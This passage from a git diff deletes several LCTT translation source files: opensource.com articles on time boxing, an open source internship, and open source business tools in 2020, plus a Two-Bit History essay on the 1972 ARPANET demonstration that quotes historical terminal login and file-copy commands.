Kubernetes-native pre-integration. More practical and useful guides about Quarkus are [here][12]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/devapps-strategies - -作者:[Daniel Oh][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/daniel-oh -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk (Tips and gears turning) -[2]: https://opensource.com/resources/devops -[3]: https://www.googleadservices.com/pagead/aclk?sa=L&ai=DChcSEwiOm66eppHtAhUCoLMKHdbDBtYYABAAGgJxbg&ae=2&ohost=www.google.com&cid=CAASE-RoewbFs9aqDAPBTaiW7zxvM74&sig=AOD64_0D6rO4CljYUjuM8RWT5cUNp_C8cg&q&adurl&ved=2ahUKEwjwtaaeppHtAhXBmeAKHbsfAtUQ0Qx6BAgJEAE -[4]: https://opensource.com/article/19/6/reasons-kubernetes -[5]: https://opensource.com/article/19/4/enabling-serverless-kubernetes -[6]: https://landscape.cncf.io/format=serverless -[7]: https://opensource.com/article/20/4/java-quarkus-vs-code -[8]: https://knative.dev/docs/eventing/ -[9]: https://cloudevents.io/ -[10]: https://opensource.com/article/19/4/devops-pipeline-acceptance-testing -[11]: https://github.com/serverlessworkflow -[12]: https://quarkus.io/guides/ diff --git a/sources/talk/20210113 Gain control of your calendar with this simple strategy.md b/sources/talk/20210113 Gain control of your calendar with this simple strategy.md deleted file mode 100644 index c6935332d1..0000000000 --- a/sources/talk/20210113 Gain control of your calendar with this simple strategy.md +++ /dev/null @@ -1,73 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Gain control of your calendar with this simple strategy) -[#]: via: (https://opensource.com/article/21/1/calendar-time-boxing) -[#]: author: (Kevin Sonney https://opensource.com/users/ksonney) - -Gain control of your calendar with this simple strategy -====== -Time boxing is a time management strategy that helps protect your time -so you can focus on the task at hand. -![Calendar close up snapshot][1] - -In prior years, this annual series covered individual apps. This year, we are looking at all-in-one solutions in addition to strategies to help in 2021. Welcome to day 3 of 21 Days of Productivity in 2021. - -Before we had calendars on our computers, we often had to do a dance around scheduling a meeting. A time that was good for Alice and Bob might not be suitable for Carol and Dave, so there was a lot of talking about when the meeting could be held. When electronic calendars became generally available, it was a revolution. Alice could check to see when Bob, Carol, Dave, _and_ a meeting room were open, and send out an invitation asking for all of them to attend. - -And, if you're looking for an open source calendar client, check [these alternatives][2] out. - -![A typical day][3] - -A typical day (Kevin Sonney, [CC BY-SA 4.0][4]) - -However, this led to problems where the only time available was when Carol, who is on the West Coast, is at lunch. Or Bob planned to use that big empty space on his calendar for writing a new function, but now has a meeting in the middle of it. - -If Bob wants to avoid this, he creates an appointment with himself on his calendar to "Write Code," and Alice sees that block of time is not available. - -This strategy is called _time boxing_ and is not only useful for preventing that meeting from being scheduled at a given time, but for giving a person the time to focus on a specific task. That task might be responding to email, writing code, or taking a break. - -![An on-call week][5] - -An on-call week (Kevin Sonney, [CC BY-SA 4.0][4]) - -Time boxing is very good for working on long projects with a deadline. With dedicated time set aside, it is easier to focus on individual steps and track progress. It also allows a person to say, "this is when I will be working on X," in a status update email or meeting. - -[As discussed yesterday][6], assigning dedicated times to read and respond to email helps reduce stress and set expectations for when people might receive a response. Users can schedule time to work on more complex issues that may be brought up in email as well. - -Taking breaks is one of the things I, at least, am _really bad_ at. After two hours of working on a problem, I know that my mind is going to be stuck in that space. For me, getting up and stepping away from my desk for a short while helps me clear my mind and focus on the next thing. In my case, this is very important after a meeting since what I may be working on next is not very likely to be directly related to the meeting I just attended. - -I also block out time to eat lunch since I, like many people in technology, will get wrapped up in something and forget to eat lunch until late in the day or not have a meal at all, and just snack here and there. - -![Blocked out time][7] - -Blocked out time (Kevin Sonney, [CC BY-SA 4.0][4]) - -How do we deal with the person who schedules something in the middle of a block? There are a couple of ways. The easiest is to request a new time, just like any other meeting with a conflicting time. Sometimes, though, it can't be moved, and the meetings with myself must be moved around to accommodate. - -Time boxing is an effective strategy for protecting time to work on specific things, take breaks, or process other tasks, and one I regularly use for both work and my hobbies (like writing articles for OpenSource.com 😄). - -Need to keep your schedule straight? Learn how to do it using open source with these free... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/calendar-time-boxing - -作者:[Kevin Sonney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ksonney -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/calendar.jpg?itok=jEKbhvDT (Calendar close up snapshot) -[2]: https://opensource.com/alternatives/google-calendar -[3]: https://opensource.com/sites/default/files/pictures/a-typical-day.png (A typical day) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://opensource.com/sites/default/files/pictures/an-on-call-week.png (An on-call week) -[6]: https://opensource.com/article/21/1/email-rules -[7]: https://opensource.com/sites/default/files/pictures/oh-that-person.png (Blocked out time) diff --git a/sources/talk/20210117 4 big lessons from my internship with open source.md b/sources/talk/20210117 4 big lessons from my internship with open source.md deleted file mode 100644 index cefde60d2b..0000000000 --- a/sources/talk/20210117 4 big lessons from my internship with open source.md +++ /dev/null @@ -1,99 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (4 big lessons from my internship with open source) -[#]: via: (https://opensource.com/article/21/1/open-source-intern) -[#]: author: (Jaideep Rao https://opensource.com/users/jaideeprao) - -4 big lessons from my internship with open source -====== -Just months after dipping my toes into open source, I learned lessons as -a college intern that will help anyone writing and contributing code to -a community. -![Brain on a computer screen][1] - -If you happened to have a time machine and chose to shoot yourself back a year to ask me what I thought about making open source contributions (of all the things you could've done), you may have guessed that I would just shrug and say something along the lines of, "I don't know, isn't that reserved for all the hard-core devs with the insane GitHub stats and decked-out macros and stuff? I'd have no idea what I was doing, and who would even care what some random college student had to say about their code?" And you'd probably be correct. But this was all before I stumbled onto the incredible opportunity to intern at Red Hat within the OpenShift Engineering division for the better part of 2020. - -I came into the internship like any fresh-faced computer science student, skirting through life writing untested, barely readable but somehow still functional code, and feeling proud of it. But this internship brought the opportunity to get my hands dirty with the open source culture and finally see what all the hype is about. - -I worked within the OpenShift-GitOps team right around the time Red Hat officially adopted [Argo CD][2] into its ecosystem. Subsequently, I—along with the rest of the team—was tasked with making upstream contributions to Argo CD. I decided to throw some of my thoughts about my experience into an article to take you through it. - -### Figuring things out - -Starting out was difficult and disorienting, as you might expect. I think we can all agree that reading code is hard enough when it's written by a colleague on your team. To get up to speed with code written within a different organization, potentially using different technologies, different components, and different coding practices can get overwhelming quickly. On several occasions, I found myself mindlessly sifting through files. - -I soon realized that my first step should have been to try to understand the product as a user, not as a developer. This involved trying to get the software up and running and playing around with it. Fortunately, I had an entire team going through the same thing, so we could help each other get set up and cruise through it. - -This was also when I started to appreciate the power of good documentation and what it can do to simplify your life as a developer. As an added bonus, the good folks in the Argo community were accommodating enough to host a weekly office hour of sorts to ease in all the new contributors. These sessions went a long way in speeding the awkward settling-in phase and helping our programmer's instinct kick in sooner. (They were also just a great place to be a fly-on-the-wall observer.) - -### Selecting and solving issues - -Skipping forward a little, I began scouring the list of open issues looking for something to sink my teeth into. This can be a messy process. The open source community's heavy dependence on its members' proclivity to participate comes with its fair share of ambiguity and lack of obligation towards efficient communication. This may present itself in several ways, such as an inability to reproduce the described issue locally, insufficient context to understand the issue, or just painfully slow communication with the person who raised the issue. As you go through the open source experience, you might find this to be a recurring theme. However, this experience helped me realize that picking the right issue, understanding its semantics, and reproducing it locally is half the battle. - -When things go right, and you find an interesting issue with decent engagement, it can be quite exciting! The discussions in the comments section can show the different use cases and workarounds people come up with about specific issues in the project. These can be great sources of context, and gathering context is the name of the game—at least until you know what the heck is going on. - -Once I was in the weeds and starting to think about potential solutions to an issue, the thing that jumped out to me the most was how much of a learning curve was associated with each new issue I took on. One of the reasons was that I was picking randomly from whatever unclaimed open issues were filed under the next major release milestone. This meant the issues I took varied a lot. I would wind up going down a different rabbit hole for each, learning 10 new related concepts in the process (even if not all of them made their way into the eventual pull request). - -The same thing was true even when trying to step through the code to track down the source of a bug and coming across all the different components involved. This phase always seemed to be packed with the most amount of learning. As I slowly made my way to the solution, I often needed to fill in some knowledge gaps. Once again, I believe I had the most supportive colleagues anyone could ask for since I could always consult them as needed. - -### Submitting pull requests - -Once a fix or feature is done and tested locally, you're ready to raise your pull request (PR)! This is usually followed by a few rounds of going back and forth with the repository's maintainers as they review your PR and potentially request changes. It always amazes me to think about the amount of time, effort, and deliberation that the seemingly smallest contribution can involve. This isn't always evident from the outside, and your PR might end up looking very different from what you started with. - -I also learned that it is not uncommon for five lines of code changes to be accompanied by 150 lines of tests for those changes. In other words, writing unit tests for your PR can sometimes be just as involved as the fix/feature itself, if not more. After everything is said and done, your PR is finally merged. You can do a quick celebratory dance, but then it's onward to the next one! - -### Learning big lessons - -I learned a lot during my internship that will help me professionally and personally. - -#### Professional lessons - - * Coming into this, most of my coding experience had been centered around personal projects or assignments for school or tasks assigned for my organization. These tend to be very specific to their intended audience and generally aren't very consequential to the wider community. In contrast, open source projects tend to have a much wider reach, so it was interesting to think about the potential scale of my contributions' impact. This made me feel like my work was consequential, and that made it feel worthwhile. - * If you're like me, finding random issues and fixing them might stop being as exciting after a while. You might ask, "What is all of this actually leading to?" This is why I think it's important to have a larger picture and a sense of direction in mind. It helps drive your decisions and reminds you what you're working towards. Red Hat's larger objectives and long-term vision for adopting Argo CD provided me with this sense of direction and helped me stay motivated. But this can probably be achieved in multiple ways. Picking and working on issues more strategically, so they allow you to learn an aspect of programming that you're interested in getting better at, could be one of them. - - - -#### Personal lessons - - * It's no secret that breaking into something new can be daunting. I, probably along with half the software industry, am no stranger to imposter syndrome. There were times I felt like I wasn't moving as quickly or making as much progress as I would have expected from myself. This was frustrating, but I eventually understood how important it is to be patient with yourself. Especially if you're someone who's just learning the ropes, it may take a while to start making good progress, but it's worth remembering that it's all part of the learning process. - * Early on, I tended to compare myself with my more experienced colleagues who were going through issues and getting PRs merged faster than you could finish saying "Argo CD." This didn't help my confidence a whole lot, but I realized that pitting myself (an intern working part time) against industry veterans wasn't really a fair comparison for anyone. The best way to build yourself up is to compare yourself to who you used to be rather than to those around you. - - - -#### Other helpful tips I learned - - * Do not hesitate to ask questions on the community forum. Also, try to find out if the project has a Slack, Discord, or Gitter that you can join. - * Look at other PRs and discussions to gain context about what's happening in the project and better understand the codebase. - * Try to identify unique log and error messages related to the workflow you're interested in. Searching for these messages directly against the codebase could be a quick way to locate the area you want to focus on, and reverse-engineering the sequence of function calls involved in getting to that point may help you understand everything that takes place along the way. (I found this to be particularly helpful.) - * Looking at unit tests can be a good way to understand what a function is supposed to be doing and how it interacts with other functions (input/output formats, etc.). - * Looking for issues labeled "good first issue" might be a good place to start. However, there may be many good issues that aren't labeled as such, so it might be worth looking through the issue board outside of that filter. - * Always update documentation if you're making feature edits! - - - -### Closing thoughts - -The open source contribution experience is not a perfect process. As with anything else, it has its downsides. The sense of ambiguity from its open-ended nature and the occasional lack of feedback or communication can be hard to work around. On the other hand, I am pleased to see how much I was able to grow and get exposure to during this time. I found it challenging and gratifying to be a part of a developer team, and I am better for it. - -Getting to work within a different paradigm, becoming a part of the wider developer community, and making new connections were all big pluses. Having your PRs merged is a good feeling as well! I also benefited by spotting [PlayerUnknown's Battlegrounds][3] as an Argo CD user, and I helped improve my friends' PUBG gaming experience by telling them about it. - -If you made it all the way to the end, thanks for reading! I hope this can be helpful to you in starting your own journey into the open source world. Good luck! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/open-source-intern - -作者:[Jaideep Rao][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jaideeprao -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brain_computer_solve_fix_tool.png?itok=okq8joti (Brain on a computer screen) -[2]: https://github.com/argoproj/argo-cd -[3]: https://en.wikipedia.org/wiki/PlayerUnknown%27s_Battlegrounds diff --git a/sources/talk/20210125 7 ways open source was essential to business in 2020.md b/sources/talk/20210125 7 ways open source was essential to business in 2020.md deleted file mode 100644 index 57dea0448a..0000000000 --- a/sources/talk/20210125 7 ways open source was essential to business in 2020.md +++ /dev/null @@ -1,72 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (7 ways open source was essential to business in 2020) -[#]: via: (https://opensource.com/article/21/1/open-source-business) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) - -7 ways open source was essential to business in 2020 -====== -Moving work online created challenges and opportunities for innovation -in 2020. -![A chair in a field.][1] - -The COVID-19 pandemic created many new challenges for businesses in 2020 as they rapidly moved non-essential workers to remote operations. However, it also created tremendous opportunities for innovation as people searched for effective ways to work and collaborate virtually. - -Opensource.com responded to the need by publishing a variety of articles in 2020 on working better with open source. Since it appears working remotely is here to stay for the foreseeable future, make sure you're doing everything you can to adapt by reading the top seven articles about open source business from 2020. - -### Open source live streaming with Open Broadcaster Software - -If you want to start reaching your customers with live streaming, Seth Kenlon's article on [open source live streaming][2] explains how to use Open Broadcaster Software (OBS) to connect to various streaming services to share your skills or gameplay. He outlines OBS and offers a detailed walk-through of its installation and use, making your start in streaming quick and easy. Seth also explains how to connect your devices to a streaming server and shares a powerful message about the value of teaching others and broadcasting words of encouragement. - -### Manage knowledge with BlueSpice, an open source alternative to Confluence - -Most enterprises have a wiki for sharing and managing knowledge across their teams. Instead of risking vendor lock-in with proprietary software, Martin Loschwitz recommends [considering BlueSpice][3], an open source alternative to Confluence. He covers the structural differences between BlueSpice and Confluence, how to use the optional BlueSpice Farm to connect multiple wikis, and BlueSpice's amazing search capabilities that use Elasticsearch to enable narrower searches. Martin also gets into BlueSpice's compliance and security features, editor functions, extensions, and design features that match your wiki to your company's branding. - -### Choosing open source as a marketing strategy - -Lucas Galvanni and Nathalie Risbakk discuss how to use [open source in your marketing strategy][4]. They use the example of Brewdog, which opened its beer recipes to the public, a strategy that paid off by making the brand extremely popular with the homebrewing community. They also cover developing marketing strategies based on customers' needs and desires and explain how moving their company to an open source model helped it engage with the community. Finally, they get into the challenges, risks, and rewards of open source with some final notes about building success over time. - -### 7 Ways NOT to manage your remote team - -Matt Shealy says [remote teams are susceptible to miscommunication][5], but rethinking how things have always been done can help avoid disaster. His tips include continuous training on technical and emotional topics, creating standards around communications in remote chat systems, and keeping work on schedule. Matt also recommends keeping your eye on the big picture with goals and milestones, avoiding micromanagement, and promoting diversity to leverage different viewpoints and help teams shine. He also describes the benefits and barriers of teams working across different time zones and recommends keeping your eye on costs to find a middle ground to keep trust between IT and finance teams. - -### 5 humans review 5 open source video chat tools - -During the lockdowns in summer 2020, Opensource.com writers Matt Broberg, Alan Formy-Duval, Chris Hermansen, Seth Kenlon, and I joined forces to [review open source video chat tools][6]. We looked at the tools' security risks, capabilities, and performance, considering our various locations and internet quality, to discover what's out there in open source video-conferencing solutions. This review may give you new ideas on tools to improve your video chats. - -### Love or hate chat? 4 best practices for remote teams - -To help the many teams working remotely, Jen Wike Huger offers [best practices for using chat][7] in your day-to-day life. Before getting into her tips, Jen recommends asking team members about their comfort level using chat to keep in touch during the workday. Next, she offers best practices, including creating rooms and threads, setting expectations around when people are expected to respond (or not) in chat, and communicating clearly and kindly. - -### The FSF reveals the tools they use for chat, video, and more - -The Free Software Foundation's Greg Farough shares the [software the organization uses for remote communications][8]. He explains that self-reliance on some of the tools (by self-hosting or having a friend or colleague host them) can be difficult but beneficial. He concludes by saying, "This is just a small selection of the huge amount of free software out there, all ready to be used, shared, and improved by the community," and asks the community to share knowledge "to help people find ways of communicating that put user freedom as a priority." - -### 2020: The year open source remote business became essential - -These seven articles offer many suggestions for teams working remotely and which open source tools will help them do it better. In 2020, open source software proved its value for expanding and improving work across great distances. And these tools will remain key business enablers in 2021, as many of us continue working from home. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/open-source-business - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BIZ_WorkInPublic_4618517_1110_CS_A.png?itok=RwVrWArk (A chair in a field.) -[2]: https://opensource.com/article/20/4/open-source-live-stream -[3]: https://opensource.com/article/20/9/bluespice -[4]: https://opensource.com/article/20/7/open-source-marketing -[5]: https://opensource.com/article/20/1/ways-not-manage-remote-team -[6]: https://opensource.com/article/20/5/open-source-video-conferencing -[7]: https://opensource.com/article/20/4/chat-tools-best-practices -[8]: https://opensource.com/article/20/5/free-software-communication diff --git a/sources/talk/20210207 The Real Novelty of the ARPANET.md b/sources/talk/20210207 The Real Novelty of the ARPANET.md deleted file mode 100644 index 5e60919871..0000000000 --- a/sources/talk/20210207 The Real Novelty of the ARPANET.md +++ /dev/null @@ -1,263 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The Real Novelty of the ARPANET) -[#]: via: (https://twobithistory.org/2021/02/07/arpanet.html) -[#]: author: (Two-Bit History https://twobithistory.org) - -The Real Novelty of the ARPANET -====== - -If you run an image search for the word “ARPANET,” you will find lots of maps showing how the [government research network][1] expanded steadily across the country throughout the late ’60s and early ’70s. I’m guessing that most people reading or hearing about the ARPANET for the first time encounter one of these maps. - -Obviously, the maps are interesting—it’s hard to believe that there were once so few networked computers that their locations could all be conveyed with what is really pretty lo-fi cartography. (We’re talking 1960s overhead projector diagrams here. You know the vibe.) But the problem with the maps, drawn as they are with bold lines stretching across the continent, is that they reinforce the idea that the ARPANET’s paramount achievement was connecting computers across the vast distances of the United States for the first time. - -Today, the internet is a lifeline that keeps us tethered to each other even as an airborne virus has us all locked up indoors. So it’s easy to imagine that, if the ARPANET was the first draft of the internet, then surely the world that existed before it was entirely disconnected, since that’s where we’d be without the internet today, right? The ARPANET must have been a big deal because it connected people via computers when that hadn’t before been possible. - -That view doesn’t get the history quite right. It also undersells what made the ARPANET such a breakthrough. - -### The Debut - -The Washington Hilton stands near the top of a small rise about a mile and a half northeast of the National Mall. Its two white-painted modern facades sweep out in broad semicircles like the wings of a bird. The New York Times, reporting on the hotel’s completion in 1965, remarked that the building looks “like a sea gull perched on a hilltop nest.”[1][2] - -The hotel hides its most famous feature below ground. Underneath the driveway roundabout is an enormous ovoid event space known as the International Ballroom, which was for many years the largest pillar-less ballroom in DC. In 1967, the Doors played a concert there. In 1968, Jimi Hendrix also played a concert there. In 1972, a somewhat more sedate act took over the ballroom to put on the inaugural International Conference on Computing Communication, where a promising research project known as the ARPANET was demonstrated publicly for the first time. - -The 1972 ICCC, which took place from October 24th to 26th, was attended by about 800 people.[2][3] It brought together all of the leading researchers in the nascent field of computer networking. According to internet pioneer Bob Kahn, “if somebody had dropped a bomb on the Washington Hilton, it would have destroyed almost all of the networking community in the US at that point.”[3][4] - -Not all of the attendees were computer scientists, however. An advertisement for the conference claimed it would be “user-focused” and geared toward “lawyers, medical men, economists, and government men as well as engineers and communicators.”[4][5] Some of the conference’s sessions were highly technical, such as the session titled “Data Network Design Problems I” and its sequel session, “Data Network Design Problems II.” But most of the sessions were, as promised, focused on the potential social and economic impacts of computer networking. One session, eerily prescient today, sought to foster a discussion about how the legal system could act proactively “to safeguard the right of privacy in the computer data bank.”[5][6] - -The ARPANET demonstration was intended as a side attraction of sorts for the attendees. Between sessions, which were held either in the International Ballroom or elsewhere on the lower level of the hotel, attendees were free to wander into the Georgetown Ballroom (a smaller ballroom/conference room down the hall from the big one),[6][7] where there were 40 terminals from a variety of manufacturers set up to access the ARPANET.[7][8] These terminals were dumb terminals—they only handled input and output and could do no computation on their own. (In fact, in 1972, it’s likely that all of these terminals were hardcopy terminals, i.e. teletype machines.) The terminals were all hooked up to a computer known as a Terminal Interface Message Processor or TIP, which sat on a raised platform in the middle of the room. The TIP was a kind of archaic router specially designed to connect dumb terminals to the ARPANET. Using the terminals and the TIP, the ICCC attendees could experiment with logging on and accessing some of the computers at the 29 host sites then comprising the ARPANET.[8][9] - -To exhibit the network’s capabilities, researchers at the host sites across the country had collaborated to prepare 19 simple “scenarios” for users to experiment with. These scenarios were compiled into [a booklet][10] that was handed to conference attendees as they tentatively approached the maze of wiring and terminals.[9][11] The scenarios were meant to prove that the new technology worked but also that it was useful, because so far the ARPANET was “a highway system without cars,” and its Pentagon funders hoped that a public demonstration would excite more interest in the network.[10][12] - -The scenarios thus showed off a diverse selection of the software that could be accessed over the ARPANET: There were programming language interpreters, one for a Lisp-based language at MIT and another for a numerical computing environment called Speakeasy hosted at UCLA; there were games, including a chess program and an implementation of Conway’s Game of Life; and—perhaps most popular among the conference attendees—there were several AI chat programs, including the famous ELIZA chat program developed at MIT by Joseph Weizenbaum. - -The researchers who had prepared the scenarios were careful to list each command that users were expected to enter at their terminals. This was especially important because the sequence of commands used to connect to any given ARPANET host could vary depending on the host in question. To experiment with the AI chess program hosted on the MIT Artificial Intelligence Laboratory’s PDP-10 minicomputer, for instance, conference attendees were instructed to enter the following: - -_`[LF]`, `[SP]`, and `[CR]` below stand for the line feed, space, and carriage return keys respectively. I’ve explained each command after `//`, but this syntax was not used for the annotations in the original._ - -``` -@r [LF] // Reset the TIP -@e [SP] r [LF] // "Echo remote" setting, host echoes characters rather than TIP -@L [SP] 134 [LF] // Connect to host number 134 -:login [SP] iccXXX [CR] // Login to the MIT AI Lab's system, where "XXX" should be user's initials -:chess [CR] // Start chess program -``` - -If conference attendees were successfully able to enter those commands, their reward was the opportunity to play around with some of the most cutting-edge chess software available at the time, where the layout of the board was represented like this: - -``` -BR BN BB BQ BK BB BN BR -BP BP BP BP ** BP BP BP --- ** -- ** -- ** -- ** -** -- ** -- BP -- ** -- --- ** -- ** WP ** -- ** -** -- ** -- ** -- ** -- -WP WP WP WP -- WP WP WP -WR WN WB WQ WK WB WN WR -``` - -In contrast, to connect to UCLA’s IBM System/360 and run the Speakeasy numerical computing environment, conference attendees had to enter the following: - -``` -@r [LF] // Reset the TIP -@t [SP] o [SP] L [LF] // "Transmit on line feed" setting -@i [SP] L [LF] // "Insert line feed" setting, i.e. send line feed with each carriage return -@L [SP] 65 [LF] // Connect to host number 65 -tso // Connect to IBM Time-Sharing Option system -logon [SP] icX [CR] // Log in with username, where "X" should be a freely chosen digit -iccc [CR] // This is the password (so secure!) -speakez [CR] // Start Speakeasy -``` - -Successfully running that gauntlet gave attendees the power to multiply and transpose and do other operations on matrices as quickly as they could input them at their terminal: - -``` -:+! a=m*transpose(m);a [CR] -:+! eigenvals(a) [CR] -``` - -Many of the attendees were impressed by the demonstration, but not for the reasons that we, from our present-day vantage point, might assume. The key piece of context hard to keep in mind today is that, in 1972, being able to use a computer remotely, even from a different city, was not new. Teletype devices had been used to talk to distant computers for decades already. Almost a full five years before the ICCC, Bill Gates was in a Seattle high school using a teletype to run his first BASIC programs on a General Electric computer housed elsewhere in the city. Merely logging in to a host computer and running a few commands or playing a text-based game was routine. The software on display here was pretty neat, but the two scenarios I’ve told you about so far could ostensibly have been experienced without going over the ARPANET. - -Of course, something new was happening under the hood. The lawyers, policy-makers, and economists at the ICCC might have been enamored with the clever chess program and the chat bots, but the networking experts would have been more interested in two other scenarios that did a better job of demonstrating what the ARPANET project had achieved. - -The first of these scenarios involved a program called `NETWRK` running on MIT’s ITS operating system. The `NETWRK` command was the entrypoint for several subcommands that could report various aspects of the ARPANET’s operating status. The `SURVEY` subcommand reported which hosts on the network were functioning and available (they all fit on a single list), while the `SUMMARY.OF.SURVEY` subcommand aggregated the results of past `SURVEY` runs to report an “up percentage” for each host as well as how long, on average, it took for each host to respond to messages. The output of the `SUMMARY.OF.SURVEY` subcommand was a table that looked like this: - -``` ---HOST-- -#- -%-UP- -RESP- -UCLA-NMC 001 097% 00.80 -SRI-ARC 002 068% 01.23 -UCSB-75 003 059% 00.63 -... -``` - -The host number field, as you can see, has room for no more than three digits (ha!). Other `NETWRK` subcommands allowed users to look at summary of survey results over a longer historical period or to examine the log of survey results for a single host. - -The second of these scenarios featured a piece of software called the SRI-ARC Online System being developed at Stanford. This was a fancy piece of software with lots of functionality (it was the software system that Douglas Engelbart demoed in the “Mother of All Demos”), but one of the many things it could do was make use of what was essentially a file hosting service run on the host at UC Santa Barbara. From a terminal at the Washington Hilton, conference attendees could copy a file created at Stanford onto the host at UCSB simply by running a `copy` command and answering a few of the computer’s questions: - -_`[ESC]`, `[SP]`, and `[CR]` below stand for the escape, space, and carriage return keys respectively. The words in parentheses are prompts printed by the computer. The escape key is used to autocomplete the filename on the third line. The file being copied here is called `sample.txt;1`, where the trailing one indicates the file’s version number and `` indicates the directory. This was a convention for filenames used by the TENEX operating system._[11][13] - -``` -@copy -(TO/FROM UCSB) to -(FILE) sample [ESC] .TXT;1 [CR] -(CREATE/REPLACE) create -``` - -These two scenarios might not look all that different from the first two, but they were remarkable. They were remarkable because they made it clear that, on the ARPANET, humans could talk to computers but computers could also talk to _each other._ The `SURVEY` results collected at MIT weren’t collected by a human regularly logging in to each machine to check if it was up—they were collected by a program that knew how to talk to the other machines on the network. Likewise, the file transfer from Stanford to UCSB didn’t involve any humans sitting at terminals at either Stanford or UCSB—the user at a terminal in Washington DC was able to get the two computers to talk each other merely by invoking a piece of software. Even more, it didn’t matter which of the 40 terminals in the Ballroom you were sitting at, because you could view the MIT network monitoring statistics or store files at UCSB using any of the terminals with almost the same sequence of commands. - -This is what was totally new about the ARPANET. The ICCC demonstration didn’t just involve a human communicating with a distant computer. It wasn’t just a demonstration of remote I/O. It was a demonstration of software remotely communicating with other software, something nobody had seen before. - -To really appreciate why it was this aspect of the ARPANET project that was important and not the wires-across-the-country, physical connection thing that the host maps suggest (the wires were leased phone lines anyhow and were already there!), consider that, before the ARPANET project began in 1966, the ARPA offices in the Pentagon had a terminal room. Inside it were three terminals. Each connected to a different computer; one computer was at MIT, one was at UC Berkeley, and another was in Santa Monica.[12][14] It was convenient for the ARPA staff that they could use these three computers even from Washington DC. But what was inconvenient for them was that they had to buy and maintain terminals from three different manufacturers, remember three different login procedures, and familiarize themselves with three different computing environments in order to use the computers. The terminals might have been right next to each other, but they were merely extensions of the host computing systems on the other end of the wire and operated as differently as the computers did. Communicating with a distant computer was possible before the ARPANET; the problem was that the heterogeneity of computing systems limited how sophisticated the communication could be. - -### Come Together, Right Now - -So what I’m trying to drive home here is that there is an important distinction between statement A, “the ARPANET connected people in different locations via computers for the first time,” and statement B, “the ARPANET connected computer systems to each other for the first time.” That might seem like splitting hairs, but statement A elides some illuminating history in a way that statement B does not. - -To begin with, the historian Joy Lisi Rankin has shown that people were socializing in cyberspace well before the ARPANET came along. In _A People’s History of Computing in the United States_, she describes several different digital communities that existed across the country on time-sharing networks prior to or apart from the ARPANET. These time-sharing networks were not, technically speaking, computer networks, since they consisted of a single mainframe computer running computations in a basement somewhere for many dumb terminals, like some portly chthonic creature with tentacles sprawling across the country. But they nevertheless enabled most of the social behavior now connoted by the word “network” in a post-Facebook world. For example, on the Kiewit Network, which was an extension of the Dartmouth Time-Sharing System to colleges and high schools across the Northeast, high school students collaboratively maintained a “gossip file” that allowed them to keep track of the exciting goings-on at other schools, “creating social connections from Connecticut to Maine.”[13][15] Meanwhile, women at Mount Holyoke College corresponded with men at Dartmouth over the network, perhaps to arrange dates or keep in touch with boyfriends.[14][16] This was all happening in the 1960s. Rankin argues that by ignoring these early time-sharing networks we impoverish our understanding of how American digital culture developed over the last 50 years, leaving room for a “Silicon Valley mythology” that credits everything to the individual genius of a select few founding fathers. - -As for the ARPANET itself, if we recognize that the key challenge was connecting the computer _systems_ and not just the physical computers, then that might change what we choose to emphasize when we tell the story of the innovations that made the ARPANET possible. The ARPANET was the first ever packet-switched network, and lots of impressive engineering went into making that happen. I think it’s a mistake, though, to say that the ARPANET was a breakthrough because it was the first packet-switched network and then leave it at that. The ARPANET was meant to make it easier for computer scientists across the country to collaborate; that project was as much about figuring out how different operating systems and programs written in different languages would interface with each other than it was about figuring out how to efficiently ferry data back and forth between Massachusetts and California. So the ARPANET was the first packet-switched network, but it was also an amazing standards success story—something I find especially interesting given [how][17] [many][18] [times][19] I’ve written about failed standards on this blog. - -Inventing the protocols for the ARPANET was an afterthought even at the time, so naturally the job fell to a group made up largely of graduate students. This group, later known as the Network Working Group, met for the first time at UC Santa Barbara in August of 1968.[15][20] There were 12 people present at that first meeting, most of whom were representatives from the four universities that were to be the first host sites on the ARPANET when the equipment was ready.[16][21] Steve Crocker, then a graduate student at UCLA, attended; he told me over a Zoom call that it was all young guys at that first meeting, and that Elmer Shapiro, who chaired the 